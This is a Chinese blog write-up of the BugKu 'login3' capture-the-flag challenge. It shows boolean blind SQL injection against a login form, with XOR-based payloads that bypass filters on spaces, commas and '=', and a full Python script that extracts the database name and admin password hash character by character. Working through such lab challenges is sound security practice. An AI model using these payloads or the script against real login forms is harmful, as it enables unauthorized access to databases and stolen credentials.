BUGKU login3(SKCTF)

进入页面 先输入1 和 1 发现 提示 用户名错误

猜测输入用户名 admin 和 1  提示 密码错误

继续猜测输入用户名 admin' 和1 提示 用户名错误

继续猜测输入  用户名 admin'#和1 提示 密码错误

说明 逻辑是先检查用户名是否正确再匹配密码,当页面出现密码错误时,说明用户名内容正确

综上 用户名输入存在注入

输入admin' # 提示非法 说明 空格被过滤

空格可以使用  () 代替,=可以使用 <> 代替

经测试空格 and union = ,逗号 被过滤 结合题目考虑使用布尔盲注

上网查询 https://blog.csdn.net/zpy1998zpy/article/details/80667775

通过爆出数据库名,但是 Information 被过滤了,只能猜表名和字段名,搜索WP得知 表名admin,字段password

 说一下POC

username = admin'^1^1#  用户名正确

username = admin'^0^0#  用户名正确

username = admin‘^0^1# 用户名不正确

username = admin‘^1^0# 用户名不正确

所以使用: username = admin‘^可变^0#

 

 

下面是脚本

import sys
import requests
from bs4 import BeautifulSoup
import re


url_start = 'http://123.206.31.85:49167/index.php' 


sql_flag ="admin'^(select(ascii(mid((select(password)from(admin))from({0})))<>{1}))^0#"
sql_database="admin'^(ascii(mid(database()from({0})))<>{1})^0#"


def Brup(SQL):
    name=''
    for i in range(1,40):
        for ch in range(32,129):
            if(ch == 128):
                sys.exit(0)
            payload = SQL.format(i,ch)
            #print(payload)
            #data = {
            #    'username':payload
            #}
            #print(data)
            data={
            'Host': '123.206.31.85:49167',
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'zh-CN,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'Referer': 'http://123.206.31.85:49167/',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Content-Length': 65,
            'Connection': 'close',
            'Upgrade-Insecure-Requests': 1,
            'username':payload,
            'password':'test'
            }
            #print(data)
            html = requests.post(url_start,data)
            #print(html.content)
            soup = BeautifulSoup(html.content, 'html.parser')
            result = soup.find_all(text = 'password error!')
            #print(result)
            #判断是否为空
            if len(result):
                name += chr(ch)
                print('name:'+name)
                break
        
if __name__ == '__main__':
    #Brup(sql_database)
    #Brup(sql_flag)

#database:blindsql
#password:51b7a76d51e70b419f60d3473fb6f900

 

posted @ 2019-09-10 22:57  Zhu013  阅读(328)  评论(0编辑  收藏  举报